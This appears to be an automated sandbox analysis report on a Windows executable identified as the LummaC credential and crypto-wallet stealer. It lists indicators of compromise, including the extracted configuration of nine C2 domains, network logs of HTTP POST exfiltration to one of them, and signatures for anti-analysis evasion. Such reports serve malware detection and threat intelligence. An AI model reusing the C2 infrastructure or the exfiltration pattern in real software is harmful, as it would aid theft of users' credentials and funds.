Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1431577
MD5:	c91f9c9ffa73cd9d586d34f73beee0cd
SHA1:	0c6c645322b236944142fdffacbb610906177ee3
SHA256:	1b17680574d595b6211da1ca0664113f78cfb0e678c209dd61664d0f99841942
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Detected VMProtect packer

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C91F9C9FFA73CD9D586D34F73BEEE0CD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "greetclassifytalk.shop"], "Build id": "4sxFKu--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 7328	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	04/25/24-13:33:01.018564
SID:	2052037
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	04/25/24-13:33:06.114264
SID:	2052037
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	04/25/24-13:32:58.942006
SID:	2052028
Source Port:	56442
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	04/25/24-13:33:01.871434
SID:	2052037
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	04/25/24-13:33:04.680270
SID:	2052037
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	04/25/24-13:32:59.247616
SID:	2052037
Source Port:	49730
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	04/25/24-13:33:02.853848
SID:	2052037
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	04/25/24-13:33:03.855093
SID:	2052037
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	04/25/24-13:33:00.026464
SID:	2052037
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://greetclassifytalk.shop/api

Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.file.exe.cd0000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "greetclassifytalk.shop"], "Build id": "4sxFKu--"}

Multi AV Scanner detection for domain / URL

Source: tolerateilusidjukl.shop	Virustotal: Detection: 14%	Perma Link
Source: shortsvelventysjo.shop	Virustotal: Detection: 16%	Perma Link
Source: incredibleextedwj.shop	Virustotal: Detection: 14%	Perma Link
Source: https://greetclassifytalk.shop/api	Virustotal: Detection: 11%	Perma Link
Source: shatterbreathepsw.shop	Virustotal: Detection: 17%	Perma Link
Source: productivelookewr.shop	Virustotal: Detection: 16%	Perma Link
Source: alcojoldwograpciw.shop	Virustotal: Detection: 17%	Perma Link
Source: liabilitynighstjsko.shop	Virustotal: Detection: 17%	Perma Link
Source: demonstationfukewko.shop	Virustotal: Detection: 18%	Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: greetclassifytalk.shop
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String decryptor: 4sxFKu--

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE5999 CryptUnprotectData,

0_2_00CE5999

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc ebx	0_2_00CE42F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00CF2458
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00CEC540
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	0_2_00D057CA
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	0_2_00D059E2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000A4h]	0_2_00CE4C49
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_00D03D10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	0_2_00D03D10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00CF4087
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00CF4084
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_00CDD140
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00CF3943
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov esi, ebp	0_2_00CD3260
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_00CEF234
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push 00000000h	0_2_00CEE451
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp+4Ch], 00000000h	0_2_00D05412
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_00CEA420
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00CEA420
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_00CE4596
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00CE46E6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_00CEF640
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc eax	0_2_00CE37C9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+4Ch]	0_2_00CF271D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_00CEA8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00CFF890
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00CF58A2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00CF58A2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, word ptr [edx]	0_2_00CEF828
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00CF59CD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00CF59D2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00CF594F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [esi+ebx+01h], 00000000h	0_2_00CECAEC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc ebx	0_2_00CDFA49
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000E0h]	0_2_00CE1A44
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebp, byte ptr [eax+edx]	0_2_00D01A70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_00CF1CC7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00CE6CDD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+30h]	0_2_00CF4CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+000000C0h]	0_2_00CE3C46
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	0_2_00D07C45
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	0_2_00D07C47
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+00000084h]	0_2_00CE5D7D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+000005E0h]	0_2_00CE3E4A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+04h]	0_2_00CDEF2D

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052028 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop) 192.168.2.4:56442 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49730 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49731 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49732 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49733 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49734 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49735 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49736 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49737 -> 104.21.51.78:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: greetclassifytalk.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1378Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569440Host: greetclassifytalk.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: greetclassifytalk.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: greetclassifytalk.shop

Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000002.1749033743.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1686225301.0000000000A14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676472111.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1686178285.000000000387F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748141502.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676279859.00000000009BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747790604.00000000009FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/
Source: file.exe, 00000000.00000002.1749033743.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748141502.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747790604.00000000009FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/G
Source: file.exe, 00000000.00000003.1686142545.000000000387F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/Tx=
Source: file.exe, 00000000.00000002.1749033743.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748141502.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747790604.00000000009FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/US5i
Source: file.exe, 00000000.00000003.1676279859.00000000009FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1748878765.0000000000981000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1748878765.0000000000993000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747790604.00000000009B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1686178285.000000000387F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747790604.0000000000980000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1748878765.00000000009BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676279859.00000000009BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/api
Source: file.exe, 00000000.00000003.1686225301.0000000000A14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/apiO
